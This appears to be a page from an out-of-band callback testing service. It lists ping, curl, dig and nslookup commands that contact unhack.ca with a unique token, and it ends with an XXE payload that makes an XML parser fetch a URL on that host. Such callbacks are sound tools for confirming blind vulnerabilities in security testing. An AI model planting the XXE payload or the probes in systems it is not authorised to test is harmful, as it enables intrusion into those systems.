$ ping -c1 -p 002777493801783b9040b833ff038b00 unhack.ca
 

$ curl http://unhack.ca/p/2777493801783b9040b833ff038b
 

$ dig 2777493801783b9040b833ff038b @unhack.ca
 

$ dig 2777493801783b9040b833ff038b.ns.unhack.ca
 

C:\> nslookup 2777493801783b9040b833ff038b unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2777493801783b9040b833ff038b">]>
    <foo>&xxe;</foo>